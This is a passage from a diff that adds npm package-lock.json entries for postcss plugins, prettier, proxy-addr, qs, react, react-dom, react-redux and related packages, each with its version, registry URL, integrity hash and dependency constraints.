"sha512-1JGu8oCjVXLa9q9rFTo4MbeeA5FMe00/9C7lN4va606Rdb+HkxXtXsmEDrIraQ11fGz/WvKWa8gMuCKkrXpTsQ==", + "peerDependencies": { + "postcss": "^8" + } + }, + "node_modules/postcss-place": { + "version": "7.0.5", + "resolved": "https://registry.npmjs.org/postcss-place/-/postcss-place-7.0.5.tgz", + "integrity": "sha512-wR8igaZROA6Z4pv0d+bvVrvGY4GVHihBCBQieXFY3kuSuMyOmEnnfFzHl/tQuqHZkfkIVBEbDvYcFfHmpSet9g==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-preset-env": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/postcss-preset-env/-/postcss-preset-env-7.8.3.tgz", + "integrity": "sha512-T1LgRm5uEVFSEF83vHZJV2z19lHg4yJuZ6gXZZkqVsqv63nlr6zabMH3l4Pc01FQCyfWVrh2GaUeCVy9Po+Aag==", + "dependencies": { + "@csstools/postcss-cascade-layers": "^1.1.1", + "@csstools/postcss-color-function": "^1.1.1", + "@csstools/postcss-font-format-keywords": "^1.0.1", + "@csstools/postcss-hwb-function": "^1.0.2", + "@csstools/postcss-ic-unit": "^1.0.1", + "@csstools/postcss-is-pseudo-class": "^2.0.7", + "@csstools/postcss-nested-calc": "^1.0.0", + "@csstools/postcss-normalize-display-values": "^1.0.1", + "@csstools/postcss-oklab-function": "^1.1.1", + "@csstools/postcss-progressive-custom-properties": "^1.3.0", + "@csstools/postcss-stepped-value-functions": "^1.0.1", + "@csstools/postcss-text-decoration-shorthand": "^1.0.0", + "@csstools/postcss-trigonometric-functions": "^1.0.2", + "@csstools/postcss-unset-value": "^1.0.2", + "autoprefixer": "^10.4.13", + "browserslist": "^4.21.4", + "css-blank-pseudo": "^3.0.3", + "css-has-pseudo": "^3.0.4", + "css-prefers-color-scheme": "^6.0.3", + "cssdb": "^7.1.0", + "postcss-attribute-case-insensitive": "^5.0.2", + "postcss-clamp": "^4.1.0", + "postcss-color-functional-notation": "^4.2.4", + "postcss-color-hex-alpha": "^8.0.4", + "postcss-color-rebeccapurple": "^7.1.1", + "postcss-custom-media": "^8.0.2", + "postcss-custom-properties": "^12.1.10", + "postcss-custom-selectors": "^6.0.3", + "postcss-dir-pseudo-class": "^6.0.5", + "postcss-double-position-gradients": "^3.1.2", + "postcss-env-function": "^4.0.6", + "postcss-focus-visible": "^6.0.4", + "postcss-focus-within": "^5.0.4", + "postcss-font-variant": "^5.0.0", + "postcss-gap-properties": "^3.0.5", + "postcss-image-set-function": "^4.0.7", + "postcss-initial": "^4.0.1", + "postcss-lab-function": "^4.2.1", + "postcss-logical": "^5.0.4", + "postcss-media-minmax": "^5.0.0", + "postcss-nesting": "^10.2.0", + "postcss-opacity-percentage": "^1.1.2", + "postcss-overflow-shorthand": "^3.0.4", + "postcss-page-break": "^3.0.4", + "postcss-place": "^7.0.5", + "postcss-pseudo-class-any-link": "^7.1.6", + "postcss-replace-overflow-wrap": "^4.0.0", + "postcss-selector-not": "^6.0.1", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-pseudo-class-any-link": { + "version": "7.1.6", + "resolved": "https://registry.npmjs.org/postcss-pseudo-class-any-link/-/postcss-pseudo-class-any-link-7.1.6.tgz", + "integrity": "sha512-9sCtZkO6f/5ML9WcTLcIyV1yz9D1rf0tWc+ulKcvV30s0iZKS/ONyETvoWsr6vnrmW+X+KmuK3gV/w5EWnT37w==", + "dependencies": { + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-reduce-initial": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-5.1.2.tgz", + "integrity": "sha512-dE/y2XRaqAi6OvjzD22pjTUQ8eOfc6m/natGHgKFBK9DxFmIm69YmaRVQrGgFlEfc1HePIurY0TmDeROK05rIg==", + "dependencies": { + "browserslist": "^4.21.4", + "caniuse-api": "^3.0.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-reduce-transforms": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-5.1.0.tgz", + "integrity": "sha512-2fbdbmgir5AvpW9RLtdONx1QoYG2/EtqpNQbFASDlixBbAYuTcJ0dECwlqNqH7VbaUnEnh8SrxOe2sRIn24XyQ==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-replace-overflow-wrap": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-replace-overflow-wrap/-/postcss-replace-overflow-wrap-4.0.0.tgz", + "integrity": "sha512-KmF7SBPphT4gPPcKZc7aDkweHiKEEO8cla/GjcBK+ckKxiZslIu3C4GCRW3DNfL0o7yW7kMQu9xlZ1kXRXLXtw==", + "peerDependencies": { + "postcss": "^8.0.3" + } + }, + "node_modules/postcss-selector-not": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/postcss-selector-not/-/postcss-selector-not-6.0.1.tgz", + "integrity": "sha512-1i9affjAe9xu/y9uqWH+tD4r6/hDaXJruk8xn2x1vzxC2U3J3LKO3zJW4CyxlNhA56pADJ/djpEwpH1RClI2rQ==", + "dependencies": { + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-selector-parser": { + "version": "6.0.15", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.15.tgz", + "integrity": "sha512-rEYkQOMUCEMhsKbK66tbEU9QVIxbhN18YiniAwA7XQYTVBqrBy+P2p5JcdqsHgKM2zWylp8d7J6eszocfds5Sw==", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-svgo": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-5.1.0.tgz", + "integrity": "sha512-D75KsH1zm5ZrHyxPakAxJWtkyXew5qwS70v56exwvw542d9CRtTo78K0WeFxZB4G7JXKKMbEZtZayTGdIky/eA==", + "dependencies": { + "postcss-value-parser": "^4.2.0", + "svgo": "^2.7.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-svgo/node_modules/commander": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "engines": { + "node": ">= 10" + } + }, + "node_modules/postcss-svgo/node_modules/css-tree": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz", + "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==", + "dependencies": { + "mdn-data": "2.0.14", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/postcss-svgo/node_modules/mdn-data": { + "version": "2.0.14", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz", + "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==" + }, + "node_modules/postcss-svgo/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postcss-svgo/node_modules/svgo": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/svgo/-/svgo-2.8.0.tgz", + "integrity": "sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg==", + "dependencies": { + "@trysound/sax": "0.2.0", + "commander": "^7.2.0", + "css-select": "^4.1.3", + "css-tree": "^1.1.3", + "csso": "^4.2.0", + "picocolors": "^1.0.0", + "stable": "^0.1.8" + }, + "bin": { + "svgo": "bin/svgo" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/postcss-unique-selectors": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-5.1.1.tgz", + "integrity": "sha512-5JiODlELrz8L2HwxfPnhOWZYWDxVHWL83ufOv84NrcgipI7TaeRsatAhK4Tr2/ZiYldpK/wBvw5BD3qfaK96GA==", + "dependencies": { + "postcss-selector-parser": "^6.0.5" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-value-parser": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==" + }, + "node_modules/prelude-ls": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", + "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/prettier": { + "version": "2.8.8", + "resolved": "https://registry.npmjs.org/prettier/-/prettier-2.8.8.tgz", + "integrity": "sha512-tdN8qQGvNjw4CHbY+XXk0JgCXn9QiF21a55rBe5LJAU+kDyC4WQn4+awm2Xfk2lQMk5fKup9XgzTZtGkjBdP9Q==", + "dev": true, + "bin": { + "prettier": "bin-prettier.js" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "url": "https://github.com/prettier/prettier?sponsor=1" + } + }, + "node_modules/pretty-bytes": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.6.0.tgz", + "integrity": "sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==", + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/pretty-error": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/pretty-error/-/pretty-error-4.0.0.tgz", + "integrity": "sha512-AoJ5YMAcXKYxKhuJGdcvse+Voc6v1RgnsR3nWcYU7q4t6z0Q6T86sv5Zq8VIRbOWWFpvdGE83LtdSMNd+6Y0xw==", + "dependencies": { + "lodash": "^4.17.20", + "renderkid": "^3.0.0" + } + }, + "node_modules/pretty-format": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz", + "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==", + "dependencies": { + "ansi-regex": "^5.0.1", + "ansi-styles": "^5.0.0", + "react-is": "^17.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/pretty-format/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/pretty-format/node_modules/react-is": { + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", + "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==" + }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" + }, + "node_modules/promise": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/promise/-/promise-8.3.0.tgz", + "integrity": "sha512-rZPNPKTOYVNEEKFaq1HqTgOwZD+4/YHS5ukLzQCypkj+OkYx7iv0mA91lJlpPPZ8vMau3IIGj5Qlwrx+8iiSmg==", + "dependencies": { + "asap": "~2.0.6" + } + }, + "node_modules/prompts": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/prompts/-/prompts-2.4.2.tgz", + "integrity": "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==", + "dependencies": { + "kleur": "^3.0.3", + "sisteransi": "^1.0.5" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/prop-types": { + "version": "15.8.1", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz", + "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==", + "dependencies": { + "loose-envify": "^1.4.0", + "object-assign": "^4.1.1", + "react-is": "^16.13.1" + } + }, + "node_modules/proxy-addr": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", + "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", + "dependencies": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/proxy-addr/node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/psl": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.9.0.tgz", + "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag==" + }, + "node_modules/punycode": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", + "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", + "engines": { + "node": ">=6" + } + }, + "node_modules/q": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/q/-/q-1.5.1.tgz", + "integrity": "sha512-kV/CThkXo6xyFEZUugw/+pIOywXcDbFYgSct5cT3gqlbkBE1SJdwy6UQoZvodiWF/ckQLZyDE/Bu1M6gVu5lVw==", + "engines": { + "node": ">=0.6.0", + "teleport": ">=0.2.0" + } + }, + "node_modules/qs": { + "version": "6.11.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.11.0.tgz", + "integrity": "sha512-MvjoMCJwEarSbUYk5O+nmoSzSutSsTwF85zcHPQ9OrlFoZOYIjaqBAJIqIXjptyD5vThxGq52Xu/MaJzRkIk4Q==", + "dependencies": { + "side-channel": "^1.0.4" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/querystringify": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz", + "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==" + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/raf": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/raf/-/raf-3.4.1.tgz", + "integrity": "sha512-Sq4CW4QhwOHE8ucn6J34MqtZCeWFP2aQSmrlroYgqAV1PjStIhJXxYuTgUIfkEk7zTLjmIjLmU5q+fbD1NnOJA==", + "dependencies": { + "performance-now": "^2.1.0" + } + }, + "node_modules/randombytes": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "dependencies": { + "safe-buffer": "^5.1.0" + } + }, + "node_modules/range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/raw-body": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.1.tgz", + "integrity": "sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig==", + "dependencies": { + "bytes": "3.1.2", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/raw-body/node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/raw-body/node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react": { + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/react/-/react-17.0.2.tgz", + "integrity": "sha512-gnhPt75i/dq/z3/6q/0asP78D0u592D5L1pd7M8P+dck6Fu/jJeL6iVVK23fptSUZj8Vjf++7wXA8UNclGQcbA==", + "dependencies": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-app-polyfill": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/react-app-polyfill/-/react-app-polyfill-3.0.0.tgz", + "integrity": "sha512-sZ41cxiU5llIB003yxxQBYrARBqe0repqPTTYBTmMqTz9szeBbE37BehCE891NZsmdZqqP+xWKdT3eo3vOzN8w==", + "dependencies": { + "core-js": "^3.19.2", + "object-assign": "^4.1.1", + "promise": "^8.1.0", + "raf": "^3.4.1", + "regenerator-runtime": "^0.13.9", + "whatwg-fetch": "^3.6.2" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/react-app-polyfill/node_modules/regenerator-runtime": { + "version": "0.13.11", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz", + "integrity": "sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg==" + }, + "node_modules/react-collapse": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/react-collapse/-/react-collapse-5.1.1.tgz", + "integrity": "sha512-k6cd7csF1o9LBhQ4AGBIdxB60SUEUMQDAnL2z1YvYNr9KoKr+nDkhN6FK7uGaBd/rYrYfrMpzpmJEIeHRYogBw==", + "peerDependencies": { + "react": ">=16.3.0" + } + }, + "node_modules/react-dev-utils": { + "version": "12.0.1", + "resolved": "https://registry.npmjs.org/react-dev-utils/-/react-dev-utils-12.0.1.tgz", + "integrity": "sha512-84Ivxmr17KjUupyqzFode6xKhjwuEJDROWKJy/BthkL7Wn6NJ8h4WE6k/exAv6ImS+0oZLRRW5j/aINMHyeGeQ==", + "dependencies": { + "@babel/code-frame": "^7.16.0", + "address": "^1.1.2", + "browserslist": "^4.18.1", + "chalk": "^4.1.2", + "cross-spawn": "^7.0.3", + "detect-port-alt": "^1.1.6", + "escape-string-regexp": "^4.0.0", + "filesize": "^8.0.6", + "find-up": "^5.0.0", + "fork-ts-checker-webpack-plugin": "^6.5.0", + "global-modules": "^2.0.0", + "globby": "^11.0.4", + "gzip-size": "^6.0.0", + "immer": "^9.0.7", + "is-root": "^2.1.0", + "loader-utils": "^3.2.0", + "open": "^8.4.0", + "pkg-up": "^3.1.0", + "prompts": "^2.4.2", + "react-error-overlay": "^6.0.11", + "recursive-readdir": "^2.2.2", + "shell-quote": "^1.7.3", + "strip-ansi": "^6.0.1", + "text-table": "^0.2.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/react-dev-utils/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/react-dev-utils/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/react-dev-utils/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/react-dev-utils/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/react-dev-utils/node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/react-dev-utils/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/react-dev-utils/node_modules/loader-utils": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-3.2.1.tgz", + "integrity": "sha512-ZvFw1KWS3GVyYBYb7qkmRM/WwL2TQQBxgCK62rlvm4WpVQ23Nb4tYjApUlfjrEGvOs7KHEsmyUn75OHZrJMWPw==", + "engines": { + "node": ">= 12.13.0" + } + }, + "node_modules/react-dev-utils/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/react-dom": { + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-17.0.2.tgz", + "integrity": "sha512-s4h96KtLDUQlsENhMn1ar8t2bEa+q/YAtj8pPPdIjPDGBDIVNsrD9aXNWqspUe6AzKCIG0C1HZZLqLV7qpOBGA==", + "dependencies": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1", + "scheduler": "^0.20.2" + }, + "peerDependencies": { + "react": "17.0.2" + } + }, + "node_modules/react-error-overlay": { + "version": "6.0.11", + "resolved": "https://registry.npmjs.org/react-error-overlay/-/react-error-overlay-6.0.11.tgz", + "integrity": "sha512-/6UZ2qgEyH2aqzYZgQPxEnz33NJ2gNsnHA2o5+o4wW9bLM/JYQitNP9xPhsXwC08hMMovfGe/8retsdDsczPRg==" + }, + "node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + }, + "node_modules/react-lifecycles-compat": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/react-lifecycles-compat/-/react-lifecycles-compat-3.0.4.tgz", + "integrity": "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA==" + }, + "node_modules/react-modal": { + "version": "3.16.1", + "resolved": "https://registry.npmjs.org/react-modal/-/react-modal-3.16.1.tgz", + "integrity": "sha512-VStHgI3BVcGo7OXczvnJN7yT2TWHJPDXZWyI/a0ssFNhGZWsPmB8cF0z33ewDXq4VfYMO1vXgiv/g8Nj9NDyWg==", + "dependencies": { + "exenv": "^1.2.0", + "prop-types": "^15.7.2", + "react-lifecycles-compat": "^3.0.0", + "warning": "^4.0.3" + }, + "engines": { + "node": ">=8" + }, + "peerDependencies": { + "react": "^0.14.0 || ^15.0.0 || ^16 || ^17 || ^18", + "react-dom": "^0.14.0 || ^15.0.0 || ^16 || ^17 || ^18" + } + }, + "node_modules/react-redux": { + "version": "7.2.9", + "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-7.2.9.tgz", + "integrity": "sha512-Gx4L3uM182jEEayZfRbI/G11ZpYdNAnBs70lFVMNdHJI76XYtR+7m0MN+eAs7UHBPhWXcnFPaS+9owSCJQHNpQ==", + "dependencies": { + "@babel/runtime": "^7.15.4", + "@types/react-redux": "^7.1.20", + "hoist-non-react-statics": "^3.3.2", + "loose-envify": "^1.4.0", + "prop-types": "^15.7.2", + "react-is": "^17.0.2" + }, + 